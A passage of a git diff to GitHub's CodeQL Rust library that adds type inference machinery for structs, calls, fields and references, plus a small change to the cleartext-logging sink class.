+    let.getInitializer() = n2 and
+    path1 = path2
+  )
+  or
+  n2 =
+    any(PrefixExpr pe |
+      pe.getOperatorName() = "*" and
+      pe.getExpr() = n1 and
+      path1 = TypePath::cons(TRefTypeParameter(), path2)
+    )
+  or
+  n1 = n2.(ParenExpr).getExpr() and
+  path1 = path2
+  or
+  n1 = n2.(BlockExpr).getStmtList().getTailExpr() and
+  path1 = path2
+  or
+  n1 = n2.(IfExpr).getABranch() and
+  path1 = path2
+  or
+  n1 = n2.(MatchExpr).getAnArm().getExpr() and
+  path1 = path2
+  or
+  exists(BreakExpr break |
+    break.getExpr() = n1 and
+    break.getTarget() = n2.(LoopExpr) and
+    path1 = path2
+  )
+}
+
+pragma[nomagic]
+private Type inferTypeEquality(AstNode n, TypePath path) {
+  exists(AstNode n2, TypePath path2 | result = inferType(n2, path2) |
+    typeEquality(n, path, n2, path2)
+    or
+    typeEquality(n2, path2, n, path)
+  )
+}
+
+/**
+ * Gets the type of the implicitly typed `self` parameter, taking into account
+ * whether the parameter is passed by value or by reference.
+ */
+bindingset[self, suffix, t]
+pragma[inline_late]
+private Type getRefAdjustImplicitSelfType(SelfParam self, TypePath suffix, Type t, TypePath path) {
+  not self.hasTypeRepr() and
+  (
+    if self.isRef()
+    then
+      // `fn f(&self, ...)`
+      path.isEmpty() and
+      result = TRefType()
+      or
+      path = TypePath::cons(TRefTypeParameter(), suffix) and
+      result = t
+    else (
+      // `fn f(self, ...)`
+      path = suffix and
+      result = t
+    )
+  )
+}
+
+pragma[nomagic]
+private Type inferImplSelfType(Impl i, TypePath path) {
+  result = i.getSelfTy().(TypeReprMention).resolveTypeAt(path)
+}
+
+pragma[nomagic]
+private Type inferTraitSelfType(Trait t, TypePath path) {
+  result = TTrait(t) and
+  path.isEmpty()
+  or
+  result = TTypeParamTypeParameter(t.getGenericParamList().getATypeParam()) and
+  path = TypePath::singleton(result)
+}
+
+/** Gets the type at `path` of the implicitly typed `self` parameter. */
+pragma[nomagic]
+private Type inferImplicitSelfType(SelfParam self, TypePath path) {
+  exists(ImplOrTraitItemNode i, Function f, TypePath suffix, Type t |
+    f = i.getAnAssocItem() and
+    self = f.getParamList().getSelfParam() and
+    result = getRefAdjustImplicitSelfType(self, suffix, t, path)
+  |
+    t = inferImplSelfType(i, suffix)
+    or
+    t = inferTraitSelfType(i, suffix)
+  )
+}
+
+/**
+ * Gets any of the types mentioned in `path` that corresponds to the type
+ * parameter `tp`.
+ */
+private TypeMention getExplicitTypeArgMention(Path path, TypeParam tp) {
+  exists(int i |
+    result = path.getSegment().getGenericArgList().getTypeArg(pragma[only_bind_into](i)) and
+    tp = resolvePath(path).getTypeParam(pragma[only_bind_into](i))
+  )
+  or
+  result = getExplicitTypeArgMention(path.getQualifier(), tp)
+}
+
+/**
+ * A matching configuration for resolving types of struct expressions
+ * like `Foo { bar = baz }`.
+ */
+private module StructExprMatchingInput implements MatchingInputSig {
+  private newtype TPos =
+    TFieldPos(string name) { exists(any(Declaration decl).getField(name)) } or
+    TStructPos()
+
+  class DeclarationPosition extends TPos {
+    string asFieldPos() { this = TFieldPos(result) }
+
+    predicate isStructPos() { this = TStructPos() }
+
+    string toString() {
+      result = this.asFieldPos()
+      or
+      this.isStructPos() and
+      result = "(struct)"
+    }
+  }
+
+  abstract class Declaration extends AstNode {
+    abstract TypeParam getATypeParam();
+
+    final TypeParameter getTypeParameter(TypeParameterPosition ppos) {
+      result.(TypeParamTypeParameter).getTypeParam() = ppos and
+      ppos = this.getATypeParam()
+    }
+
+    abstract StructField getField(string name);
+
+    Type getDeclaredType(DeclarationPosition dpos, TypePath path) {
+      // type of a field
+      exists(TypeReprMention tp |
+        tp = this.getField(dpos.asFieldPos()).getTypeRepr() and
+        result = tp.resolveTypeAt(path)
+      )
+      or
+      // type parameter of the struct itself
+      dpos.isStructPos() and
+      result = this.getTypeParameter(_) and
+      path = TypePath::singleton(result)
+    }
+  }
+
+  private class StructDecl extends Declaration, Struct {
+    StructDecl() { this.isStruct() }
+
+    override TypeParam getATypeParam() { result = this.getGenericParamList().getATypeParam() }
+
+    override StructField getField(string name) { result = this.getStructField(name) }
+
+    override Type getDeclaredType(DeclarationPosition dpos, TypePath path) {
+      result = super.getDeclaredType(dpos, path)
+      or
+      // type of the struct itself
+      dpos.isStructPos() and
+      path.isEmpty() and
+      result = TStruct(this)
+    }
+  }
+
+  private class StructVariantDecl extends Declaration, Variant {
+    StructVariantDecl() { this.isStruct() }
+
+    Enum getEnum() { result.getVariantList().getAVariant() = this }
+
+    override TypeParam getATypeParam() {
+      result = this.getEnum().getGenericParamList().getATypeParam()
+    }
+
+    override StructField getField(string name) { result = this.getStructField(name) }
+
+    override Type getDeclaredType(DeclarationPosition dpos, TypePath path) {
+      result = super.getDeclaredType(dpos, path)
+      or
+      // type of the enum itself
+      dpos.isStructPos() and
+      path.isEmpty() and
+      result = TEnum(this.getEnum())
+    }
+  }
+
+  class AccessPosition = DeclarationPosition;
+
+  class Access extends StructExpr {
+    Type getTypeArgument(TypeArgumentPosition apos, TypePath path) {
+      result = getExplicitTypeArgMention(this.getPath(), apos.asTypeParam()).resolveTypeAt(path)
+    }
+
+    AstNode getNodeAt(AccessPosition apos) {
+      result = this.getFieldExpr(apos.asFieldPos()).getExpr()
+      or
+      result = this and
+      apos.isStructPos()
+    }
+
+    Type getInferredType(AccessPosition apos, TypePath path) {
+      result = inferType(this.getNodeAt(apos), path)
+    }
+
+    Declaration getTarget() { result = resolvePath(this.getPath()) }
+  }
+
+  predicate accessDeclarationPositionMatch(AccessPosition apos, DeclarationPosition dpos) {
+    apos = dpos
+  }
+}
+
+private module StructExprMatching = Matching<StructExprMatchingInput>;
+
+/**
+ * Gets the type of `n` at `path`, where `n` is either a struct expression or
+ * a field expression of a struct expression.
+ */
+pragma[nomagic]
+private Type inferStructExprType(AstNode n, TypePath path) {
+  exists(StructExprMatchingInput::Access a, StructExprMatchingInput::AccessPosition apos |
+    n = a.getNodeAt(apos) and
+    result = StructExprMatching::inferAccessType(a, apos, path)
+  )
+}
+
+pragma[nomagic]
+private Type inferPathExprType(PathExpr pe, TypePath path) {
+  // nullary struct/variant constructors
+  not exists(CallExpr ce | pe = ce.getFunction()) and
+  path.isEmpty() and
+  exists(ItemNode i | i = resolvePath(pe.getPath()) |
+    result = TEnum(i.(Variant).getEnum())
+    or
+    result = TStruct(i)
+  )
+}
+
+/**
+ * A matching configuration for resolving types of call expressions
+ * like `foo::bar(baz)` and `foo.bar(baz)`.
+ */
+private module CallExprBaseMatchingInput implements MatchingInputSig {
+  private predicate paramPos(ParamList pl, Param p, int pos, boolean inMethod) {
+    p = pl.getParam(pos) and
+    if pl.hasSelfParam() then inMethod = true else inMethod = false
+  }
+
+  private newtype TDeclarationPosition =
+    TSelfDeclarationPosition() or
+    TPositionalDeclarationPosition(int pos, boolean inMethod) { paramPos(_, _, pos, inMethod) } or
+    TReturnDeclarationPosition()
+
+  class DeclarationPosition extends TDeclarationPosition {
+    predicate isSelf() { this = TSelfDeclarationPosition() }
+
+    int asPosition(boolean inMethod) { this = TPositionalDeclarationPosition(result, inMethod) }
+
+    predicate isReturn() { this = TReturnDeclarationPosition() }
+
+    string toString() {
+      this.isSelf() and
+      result = "self"
+      or
+      result = this.asPosition(_).toString()
+      or
+      this.isReturn() and
+      result = "(return)"
+    }
+  }
+
+  abstract class Declaration extends AstNode {
+    abstract TypeParam getATypeParam();
+
+    final TypeParameter getTypeParameter(TypeParameterPosition ppos) {
+      result.(TypeParamTypeParameter).getTypeParam() = ppos and
+      ppos = this.getATypeParam()
+    }
+
+    pragma[nomagic]
+    abstract Type getParameterType(DeclarationPosition dpos, TypePath path);
+
+    abstract Type getReturnType(TypePath path);
+
+    final Type getDeclaredType(DeclarationPosition dpos, TypePath path) {
+      result = this.getParameterType(dpos, path)
+      or
+      dpos.isReturn() and
+      result = this.getReturnType(path)
+    }
+  }
+
+  private class TupleStructDecl extends Declaration, Struct {
+    TupleStructDecl() { this.isTuple() }
+
+    override TypeParam getATypeParam() { result = this.getGenericParamList().getATypeParam() }
+
+    override Type getParameterType(DeclarationPosition dpos, TypePath path) {
+      exists(int pos |
+        result = this.getTupleField(pos).getTypeRepr().(TypeReprMention).resolveTypeAt(path) and
+        dpos = TPositionalDeclarationPosition(pos, false)
+      )
+    }
+
+    override Type getReturnType(TypePath path) {
+      result = TStruct(this) and
+      path.isEmpty()
+      or
+      result = TTypeParamTypeParameter(this.getGenericParamList().getATypeParam()) and
+      path = TypePath::singleton(result)
+    }
+  }
+
+  private class TupleVariantDecl extends Declaration, Variant {
+    TupleVariantDecl() { this.isTuple() }
+
+    override TypeParam getATypeParam() {
+      result = this.getEnum().getGenericParamList().getATypeParam()
+    }
+
+    override Type getParameterType(DeclarationPosition dpos, TypePath path) {
+      exists(int p |
+        result = this.getTupleField(p).getTypeRepr().(TypeReprMention).resolveTypeAt(path) and
+        dpos = TPositionalDeclarationPosition(p, false)
+      )
+    }
+
+    override Type getReturnType(TypePath path) {
+      exists(Enum enum | enum = this.getEnum() |
+        result = TEnum(enum) and
+        path.isEmpty()
+        or
+        result = TTypeParamTypeParameter(enum.getGenericParamList().getATypeParam()) and
+        path = TypePath::singleton(result)
+      )
+    }
+  }
+
+  pragma[nomagic]
+  private Type inferAnnotatedTypeInclSelf(AstNode n, TypePath path) {
+    result = getTypeAnnotation(n).resolveTypeAtInclSelf(path)
+  }
+
+  private class FunctionDecl extends Declaration, Function {
+    override TypeParam getATypeParam() { result = this.getGenericParamList().getATypeParam() }
+
+    override Type getParameterType(DeclarationPosition dpos, TypePath path) {
+      exists(Param p, int i, boolean inMethod |
+        paramPos(this.getParamList(), p, i, inMethod) and
+        dpos = TPositionalDeclarationPosition(i, inMethod) and
+        result = inferAnnotatedTypeInclSelf(p.getPat(), path)
+      )
+      or
+      exists(SelfParam self |
+        self = pragma[only_bind_into](this.getParamList().getSelfParam()) and
+        dpos.isSelf()
+      |
+        // `self` parameter with type annotation
+        result = inferAnnotatedTypeInclSelf(self, path)
+        or
+        // `self` parameter without type annotation
+        result = inferImplicitSelfType(self, path)
+        or
+        // `self` parameter without type annotation should also have the special `Self` type
+        result = getRefAdjustImplicitSelfType(self, TypePath::nil(), TSelfTypeParameter(), path)
+      )
+    }
+
+    override Type getReturnType(TypePath path) {
+      result = this.getRetType().getTypeRepr().(TypeReprMention).resolveTypeAtInclSelf(path)
+    }
+  }
+
+  private predicate argPos(CallExprBase call, Expr e, int pos, boolean isMethodCall) {
+    exists(ArgList al |
+      e = al.getArg(pos) and
+      call.getArgList() = al and
+      if call instanceof MethodCallExpr then isMethodCall = true else isMethodCall = false
+    )
+  }
+
+  private newtype TAccessPosition =
+    TSelfAccessPosition() or
+    TPositionalAccessPosition(int pos, boolean isMethodCall) { argPos(_, _, pos, isMethodCall) } or
+    TReturnAccessPosition()
+
+  class AccessPosition extends TAccessPosition {
+    predicate isSelf() { this = TSelfAccessPosition() }
+
+    int asPosition(boolean isMethodCall) { this = TPositionalAccessPosition(result, isMethodCall) }
+
+    predicate isReturn() { this = TReturnAccessPosition() }
+
+    string toString() {
+      this.isSelf() and
+      result = "self"
+      or
+      result = this.asPosition(_).toString()
+      or
+      this.isReturn() and
+      result = "(return)"
+    }
+  }
+
+  private import codeql.rust.elements.internal.CallExprImpl::Impl as CallExprImpl
+
+  class Access extends CallExprBase {
+    private TypeReprMention getMethodTypeArg(int i) {
+      result = this.(MethodCallExpr).getGenericArgList().getTypeArg(i)
+    }
+
+    Type getTypeArgument(TypeArgumentPosition apos, TypePath path) {
+      exists(TypeMention arg | result = arg.resolveTypeAt(path) |
+        arg = getExplicitTypeArgMention(CallExprImpl::getFunctionPath(this), apos.asTypeParam())
+        or
+        arg = this.getMethodTypeArg(apos.asMethodTypeArgumentPosition())
+      )
+    }
+
+    AstNode getNodeAt(AccessPosition apos) {
+      exists(int p, boolean isMethodCall |
+        argPos(this, result, p, isMethodCall) and
+        apos = TPositionalAccessPosition(p, isMethodCall)
+      )
+      or
+      result = this.(MethodCallExpr).getReceiver() and
+      apos = TSelfAccessPosition()
+      or
+      result = this and
+      apos = TReturnAccessPosition()
+    }
+
+    Type getInferredType(AccessPosition apos, TypePath path) {
+      result = inferType(this.getNodeAt(apos), path)
+    }
+
+    Declaration getTarget() {
+      result = CallExprImpl::getResolvedFunction(this)
+      or
+      result = resolveMethodCallExpr(this) // mutual recursion; resolving method calls requires resolving types and vice versa
+    }
+  }
+
+  predicate accessDeclarationPositionMatch(AccessPosition apos, DeclarationPosition dpos) {
+    apos.isSelf() and
+    dpos.isSelf()
+    or
+    exists(int pos, boolean isMethodCall | pos = apos.asPosition(isMethodCall) |
+      pos = 0 and
+      isMethodCall = false and
+      dpos.isSelf()
+      or
+      isMethodCall = false and
+      pos = dpos.asPosition(true) + 1
+      or
+      pos = dpos.asPosition(isMethodCall)
+    )
+    or
+    apos.isReturn() and
+    dpos.isReturn()
+  }
+
+  bindingset[apos, target, path, t]
+  pragma[inline_late]
+  predicate adjustAccessType(
+    AccessPosition apos, Declaration target, TypePath path, Type t, TypePath pathAdj, Type tAdj
+  ) {
+    if apos.isSelf()
+    then
+      exists(Type selfParamType |
+        selfParamType = target.getParameterType(TSelfDeclarationPosition(), TypePath::nil())
+      |
+        if selfParamType = TRefType()
+        then
+          if t != TRefType() and path.isEmpty()
+          then
+            // adjust for implicit borrow
+            pathAdj.isEmpty() and
+            tAdj = TRefType()
+            or
+            // adjust for implicit borrow
+            pathAdj = TypePath::singleton(TRefTypeParameter()) and
+            tAdj = t
+          else
+            if path.isCons(TRefTypeParameter(), _)
+            then
+              pathAdj = path and
+              tAdj = t
+            else (
+              // adjust for implicit borrow
+              not (t = TRefType() and path.isEmpty()) and
+              pathAdj = TypePath::cons(TRefTypeParameter(), path) and
+              tAdj = t
+            )
+        else (
+          // adjust for implicit deref
+          path.isCons(TRefTypeParameter(), pathAdj) and
+          tAdj = t
+          or
+          not path.isCons(TRefTypeParameter(), _) and
+          not (t = TRefType() and path.isEmpty()) and
+          pathAdj = path and
+          tAdj = t
+        )
+      )
+    else (
+      pathAdj = path and
+      tAdj = t
+    )
+  }
+
+  pragma[nomagic]
+  additional Type inferReceiverType(AstNode n) {
+    exists(Access a, AccessPosition apos |
+      result = inferType(n) and
+      n = a.getNodeAt(apos) and
+      apos.isSelf()
+    )
+  }
+}
+
+private module CallExprBaseMatching = Matching<CallExprBaseMatchingInput>;
+
+/**
+ * Gets the type of `n` at `path`, where `n` is either a call or an
+ * argument/receiver of a call.
+ */
+pragma[nomagic]
+private Type inferCallExprBaseType(AstNode n, TypePath path) {
+  exists(
+    CallExprBaseMatchingInput::Access a, CallExprBaseMatchingInput::AccessPosition apos,
+    TypePath path0
+  |
+    n = a.getNodeAt(apos) and
+    result = CallExprBaseMatching::inferAccessType(a, apos, path0)
+  |
+    if apos.isSelf()
+    then
+      exists(Type receiverType | receiverType = CallExprBaseMatchingInput::inferReceiverType(n) |
+        if receiverType = TRefType()
+        then
+          path = path0 and
+          path0.isCons(TRefTypeParameter(), _)
+          or
+          // adjust for implicit deref
+          not path0.isCons(TRefTypeParameter(), _) and
+          not (path0.isEmpty() and result = TRefType()) and
+          path = TypePath::cons(TRefTypeParameter(), path0)
+        else (
+          not path0.isCons(TRefTypeParameter(), _) and
+          not (path0.isEmpty() and result = TRefType()) and
+          path = path0
+          or
+          // adjust for implicit borrow
+          path0.isCons(TRefTypeParameter(), path)
+        )
+      )
+    else path = path0
+  )
+}
+
+/**
+ * A matching configuration for resolving types of field expressions
+ * like `x.field`.
+ */
+private module FieldExprMatchingInput implements MatchingInputSig {
+  private newtype TDeclarationPosition =
+    TSelfDeclarationPosition() or
+    TFieldPos()
+
+  class DeclarationPosition extends TDeclarationPosition {
+    predicate isSelf() { this = TSelfDeclarationPosition() }
+
+    predicate isField() { this = TFieldPos() }
+
+    string toString() {
+      this.isSelf() and
+      result = "self"
+      or
+      this.isField() and
+      result = "(field)"
+    }
+  }
+
+  abstract class Declaration extends AstNode {
+    TypeParameter getTypeParameter(TypeParameterPosition ppos) { none() }
+
+    abstract TypeRepr getTypeRepr();
+
+    Type getDeclaredType(DeclarationPosition dpos, TypePath path) {
+      dpos.isSelf() and
+      // no case for variants as those can only be destructured using pattern matching
+      exists(Struct s | s.getStructField(_) = this or s.getTupleField(_) = this |
+        result = TStruct(s) and
+        path.isEmpty()
+        or
+        result = TTypeParamTypeParameter(s.getGenericParamList().getATypeParam()) and
+        path = TypePath::singleton(result)
+      )
+      or
+      dpos.isField() and
+      result = this.getTypeRepr().(TypeReprMention).resolveTypeAt(path)
+    }
+  }
+
+  private class StructFieldDecl extends Declaration instanceof StructField {
+    override TypeRepr getTypeRepr() { result = StructField.super.getTypeRepr() }
+  }
+
+  private class TupleFieldDecl extends Declaration instanceof TupleField {
+    override TypeRepr getTypeRepr() { result = TupleField.super.getTypeRepr() }
+  }
+
+  class AccessPosition = DeclarationPosition;
+
+  class Access extends FieldExpr {
+    Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { none() }
+
+    AstNode getNodeAt(AccessPosition apos) {
+      result = this.getContainer() and
+      apos.isSelf()
+      or
+      result = this and
+      apos.isField()
+    }
+
+    Type getInferredType(AccessPosition apos, TypePath path) {
+      result = inferType(this.getNodeAt(apos), path)
+    }
+
+    Declaration getTarget() {
+      // mutual recursion; resolving fields requires resolving types and vice versa
+      result = [resolveStructFieldExpr(this).(AstNode), resolveTupleFieldExpr(this)]
+    }
+  }
+
+  predicate accessDeclarationPositionMatch(AccessPosition apos, DeclarationPosition dpos) {
+    apos = dpos
+  }
+
+  bindingset[apos, target, path, t]
+  pragma[inline_late]
+  predicate adjustAccessType(
+    AccessPosition apos, Declaration target, TypePath path, Type t, TypePath pathAdj, Type tAdj
+  ) {
+    exists(target) and
+    if apos.isSelf()
+    then
+      // adjust for implicit deref
+      path.isCons(TRefTypeParameter(), pathAdj) and
+      tAdj = t
+      or
+      not path.isCons(TRefTypeParameter(), _) and
+      not (t = TRefType() and path.isEmpty()) and
+      pathAdj = path and
+      tAdj = t
+    else (
+      pathAdj = path and
+      tAdj = t
+    )
+  }
+
+  pragma[nomagic]
+  additional Type inferReceiverType(AstNode n) {
+    exists(Access a, AccessPosition apos |
+      result = inferType(n) and
+      n = a.getNodeAt(apos) and
+      apos.isSelf()
+    )
+  }
+}
+
+private module FieldExprMatching = Matching<FieldExprMatchingInput>;
+
+/**
+ * Gets the type of `n` at `path`, where `n` is either a field expression or
+ * the receiver of field expression call.
+ */
+pragma[nomagic]
+private Type inferFieldExprType(AstNode n, TypePath path) {
+  exists(
+    FieldExprMatchingInput::Access a, FieldExprMatchingInput::AccessPosition apos, TypePath path0
+  |
+    n = a.getNodeAt(apos) and
+    result = FieldExprMatching::inferAccessType(a, apos, path0)
+  |
+    if apos.isSelf()
+    then
+      exists(Type receiverType | receiverType = FieldExprMatchingInput::inferReceiverType(n) |
+        if receiverType = TRefType()
+        then
+          // adjust for implicit deref
+          not path0.isCons(TRefTypeParameter(), _) and
+          not (path0.isEmpty() and result = TRefType()) and
+          path = TypePath::cons(TRefTypeParameter(), path0)
+        else path = path0
+      )
+    else path = path0
+  )
+}
+
+/**
+ * Gets the type of `n` at `path`, where `n` is either a reference expression
+ * `& x` or an expression `x` inside a reference expression `& x`.
+ */
+pragma[nomagic]
+private Type inferRefExprType(Expr e, TypePath path) {
+  exists(RefExpr re |
+    e = re and
+    path.isEmpty() and
+    result = TRefType()
+    or
+    e = re and
+    exists(TypePath exprPath | result = inferType(re.getExpr(), exprPath) |
+      if exprPath.isCons(TRefTypeParameter(), _)
+      then
+        // `&x` simply means `x` when `x` already has reference type
+        path = exprPath
+      else (
+        path = TypePath::cons(TRefTypeParameter(), exprPath) and
+        not (exprPath.isEmpty() and result = TRefType())
+      )
+    )
+    or
+    e = re.getExpr() and
+    exists(TypePath exprPath, TypePath refPath, Type exprType |
+      result = inferType(re, exprPath) and
+      exprPath = TypePath::cons(TRefTypeParameter(), refPath) and
+      exprType = inferType(e)
+    |
+      if exprType = TRefType()
+      then
+        // `&x` simply means `x` when `x` already has reference type
+        path = exprPath
+      else path = refPath
+    )
+  )
+}
+
+cached
+private module Cached {
+  private import codeql.rust.internal.CachedStages
+
+  pragma[inline]
+  private Type getLookupType(AstNode n) {
+    exists(Type t |
+      t = inferType(n) and
+      if t = TRefType()
+      then
+        // for reference types, lookup members in the type being referenced
+        result = inferType(n, TypePath::singleton(TRefTypeParameter()))
+      else result = t
+    )
+  }
+
+  pragma[nomagic]
+  private Type getMethodCallExprLookupType(MethodCallExpr mce, string name) {
+    result = getLookupType(mce.getReceiver()) and
+    name = mce.getIdentifier().getText()
+  }
+
+  /**
+   * Gets a method that the method call `mce` resolves to, if any.
+   */
+  cached
+  Function resolveMethodCallExpr(MethodCallExpr mce) {
+    exists(string name | result = getMethodCallExprLookupType(mce, name).getMethod(name))
+  }
+
+  pragma[nomagic]
+  private Type getFieldExprLookupType(FieldExpr fe, string name) {
+    result = getLookupType(fe.getContainer()) and
+    name = fe.getIdentifier().getText()
+  }
+
+  /**
+   * Gets the struct field that the field expression `fe` resolves to, if any.
+   */
+  cached
+  StructField resolveStructFieldExpr(FieldExpr fe) {
+    exists(string name | result = getFieldExprLookupType(fe, name).getStructField(name))
+  }
+
+  pragma[nomagic]
+  private Type getTupleFieldExprLookupType(FieldExpr fe, int pos) {
+    exists(string name |
+      result = getFieldExprLookupType(fe, name) and
+      pos = name.toInt()
+    )
+  }
+
+  /**
+   * Gets the tuple field that the field expression `fe` resolves to, if any.
+   */
+  cached
+  TupleField resolveTupleFieldExpr(FieldExpr fe) {
+    exists(int i | result = getTupleFieldExprLookupType(fe, i).getTupleField(i))
+  }
+
+  /**
+   * Gets a type at `path` that `n` infers to, if any.
+   *
+   * The type inference implementation works by computing all possible types, so
+   * the result is not necessarily unique. For example, in
+   *
+   * ```rust
+   * trait MyTrait {
+   *     fn foo(&self) -> &Self;
+   *
+   *     fn bar(&self) -> &Self {
+   *        self.foo()
+   *     }
+   * }
+   *
+   * struct MyStruct;
+   *
+   * impl MyTrait for MyStruct {
+   *     fn foo(&self) -> &MyStruct {
+   *         self
+   *     }
+   * }
+   *
+   * fn baz() {
+   *     let x = MyStruct;
+   *     x.bar();
+   * }
+   * ```
+   *
+   * the type inference engine will roughly make the following deductions:
+   *
+   * 1. `MyStruct` has type `MyStruct`.
+   * 2. `x` has type `MyStruct` (via 1.).
+   * 3. The return type of `bar` is `&Self`.
+   * 3. `x.bar()` has type `&MyStruct` (via 2 and 3, by matching the implicit `Self`
+   *    type parameter with `MyStruct`.).
+   * 4. The return type of `bar` is `&MyTrait`.
+   * 5. `x.bar()` has type `&MyTrait` (via 2 and 4).
+   */
+  cached
+  Type inferType(AstNode n, TypePath path) {
+    Stages::TypeInference::backref() and
+    result = inferAnnotatedType(n, path)
+    or
+    result = inferTypeEquality(n, path)
+    or
+    result = inferImplicitSelfType(n, path)
+    or
+    result = inferStructExprType(n, path)
+    or
+    result = inferPathExprType(n, path)
+    or
+    result = inferCallExprBaseType(n, path)
+    or
+    result = inferFieldExprType(n, path)
+    or
+    result = inferRefExprType(n, path)
+  }
+}
+
+import Cached
+
+/**
+ * Gets a type that `n` infers to, if any.
+ */
+Type inferType(AstNode n) { result = inferType(n, TypePath::nil()) }
diff --git a/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll b/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll
new file mode 100644
index 000000000000..214ee3e6d493
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll
@@ -0,0 +1,5 @@
+/**
+ * Provides classes for recognizing type inference inconsistencies.
+ */
+
+import TypeInference::Consistency
diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll
new file mode 100644
index 000000000000..f8fa7923f21e
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll
@@ -0,0 +1,173 @@
+/** Provides classes for representing type mentions, used in type inference. */
+
+private import rust
+private import Type
+private import PathResolution
+private import TypeInference
+
+/** An AST node that may mention a type. */
+abstract class TypeMention extends AstNode {
+  /** Gets the `i`th type argument mention, if any. */
+  abstract TypeMention getTypeArgument(int i);
+
+  /** Gets the type that this node resolves to, if any. */
+  abstract Type resolveType();
+
+  /** Gets the sub mention at `path`. */
+  pragma[nomagic]
+  private TypeMention getMentionAt(TypePath path) {
+    path.isEmpty() and
+    result = this
+    or
+    exists(int i, TypeParameter tp, TypeMention arg, TypePath suffix |
+      arg = this.getTypeArgument(pragma[only_bind_into](i)) and
+      result = arg.getMentionAt(suffix) and
+      path = TypePath::cons(tp, suffix) and
+      tp = this.resolveType().getTypeParameter(pragma[only_bind_into](i))
+    )
+  }
+
+  /** Gets the type that the sub mention at `path` resolves to, if any. */
+  Type resolveTypeAt(TypePath path) { result = this.getMentionAt(path).resolveType() }
+
+  /**
+   * Like `resolveTypeAt`, but also resolves `Self` mentions to the implicit
+   * `Self` type parameter.
+   *
+   * This is only needed when resolving types for calls to methods; inside the
+   * methods themselves, `Self` only resolves to the relevant trait or type
+   * being implemented.
+   */
+  final Type resolveTypeAtInclSelf(TypePath path) {
+    result = this.resolveTypeAt(path)
+    or
+    exists(TypeMention tm, ImplOrTraitItemNode node |
+      tm = this.getMentionAt(path) and
+      result = TSelfTypeParameter()
+    |
+      tm = node.getASelfPath()
+      or
+      tm.(PathTypeRepr).getPath() = node.getASelfPath()
+    )
+  }
+}
+
+class TypeReprMention extends TypeMention, TypeRepr {
+  TypeReprMention() { not this instanceof InferTypeRepr }
+
+  override TypeReprMention getTypeArgument(int i) {
+    result = this.(ArrayTypeRepr).getElementTypeRepr() and
+    i = 0
+    or
+    result = this.(RefTypeRepr).getTypeRepr() and
+    i = 0
+    or
+    result = this.(PathTypeRepr).getPath().(PathMention).getTypeArgument(i)
+  }
+
+  override Type resolveType() {
+    this instanceof ArrayTypeRepr and
+    result = TArrayType()
+    or
+    this instanceof RefTypeRepr and
+    result = TRefType()
+    or
+    result = this.(PathTypeRepr).getPath().(PathMention).resolveType()
+  }
+}
+
+class PathMention extends TypeMention, Path {
+  override TypeMention getTypeArgument(int i) {
+    result = this.getSegment().getGenericArgList().getTypeArg(i)
+    or
+    // `Self` paths inside traits and `impl` blocks have implicit type arguments
+    // that are the type parameters of the trait or impl. For example, in
+    //
+    // ```rust
+    // impl Foo<T> {
+    //   fn m(self) -> Self {
+    //     self
+    //   }
+    // }
+    // ```
+    //
+    // the `Self` return type is shorthand for `Foo<T>`.
+    exists(ImplOrTraitItemNode node | this = node.getASelfPath() |
+      result = node.(ImplItemNode).getSelfPath().getSegment().getGenericArgList().getTypeArg(i)
+      or
+      result = node.(Trait).getGenericParamList().getTypeParam(i)
+    )
+  }
+
+  override Type resolveType() {
+    exists(ItemNode i | i = resolvePath(this) |
+      result = TStruct(i)
+      or
+      result = TEnum(i)
+      or
+      result = TTrait(i)
+      or
+      result = TTypeParamTypeParameter(i)
+      or
+      result = i.(TypeAlias).getTypeRepr().(TypeReprMention).resolveType()
+    )
+  }
+}
+
+// Used to represent implicit `Self` type arguments in traits and `impl` blocks,
+// see `PathMention` for details.
+class TypeParamMention extends TypeMention, TypeParam {
+  override TypeReprMention getTypeArgument(int i) { none() }
+
+  override Type resolveType() { result = TTypeParamTypeParameter(this) }
+}
+
+/**
+ * Holds if the `i`th type argument of `selfPath`, belonging to `impl`, resolves
+ * to type parameter `tp`.
+ *
+ * Example:
+ *
+ * ```rust
+ * impl<T> Foo<T> for Bar<T> { ... }
+ * //      ^^^^^^ selfPath
+ * //   ^         tp
+ * ```
+ */
+pragma[nomagic]
+private predicate isImplSelfTypeParam(
+  ImplItemNode impl, PathMention selfPath, int i, TypeParameter tp
+) {
+  exists(PathMention path |
+    selfPath = impl.getSelfPath() and
+    path = selfPath.getSegment().getGenericArgList().getTypeArg(i).(PathTypeRepr).getPath() and
+    tp = path.resolveType()
+  )
+}
+
+class ImplMention extends TypeMention, ImplItemNode {
+  override TypeReprMention getTypeArgument(int i) { none() }
+
+  override Type resolveType() { result = TImpl(this) }
+
+  override Type resolveTypeAt(TypePath path) {
+    result = TImpl(this) and
+    path.isEmpty()
+    or
+    // For example, in
+    //
+    // ```rust
+    // struct S<T1>(T1);
+    //
+    // impl<T2> S<T2> { ... }
+    // ```
+    //
+    // We get that the type path "0" resolves to `T1` for the `impl` block,
+    // which is considered a base type mention of `S`.
+    exists(PathMention selfPath, TypeParameter tp, int i |
+      isImplSelfTypeParam(this, selfPath, pragma[only_bind_into](i), tp) and
+      result = selfPath.resolveType().getTypeParameter(pragma[only_bind_into](i)) and
+      path = TypePath::singleton(tp)
+    )
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/security/CleartextLoggingExtensions.qll b/rust/ql/lib/codeql/rust/security/CleartextLoggingExtensions.qll
index bfe6da7ac82c..e6bbc0d2a2be 100644
--- a/rust/ql/lib/codeql/rust/security/CleartextLoggingExtensions.qll
+++ b/rust/ql/lib/codeql/rust/security/CleartextLoggingExtensions.qll
@@ -7,6 +7,7 @@ import rust
 private import codeql.rust.dataflow.DataFlow
 private import codeql.rust.dataflow.internal.DataFlowImpl
 private import codeql.rust.security.SensitiveData
+private import codeql.rust.Concepts
 
 /**
  * Provides default sources, sinks and barriers for detecting cleartext logging
@@ -21,7 +22,9 @@ module CleartextLogging {
   /**
    * A data flow sink for cleartext logging vulnerabilities.
    */
-  abstract class Sink extends DataFlow::Node { }
+  abstract class Sink extends QuerySink::Range {
+    override string getSinkType() { result = "CleartextLogging" }
+  }
 
   /**
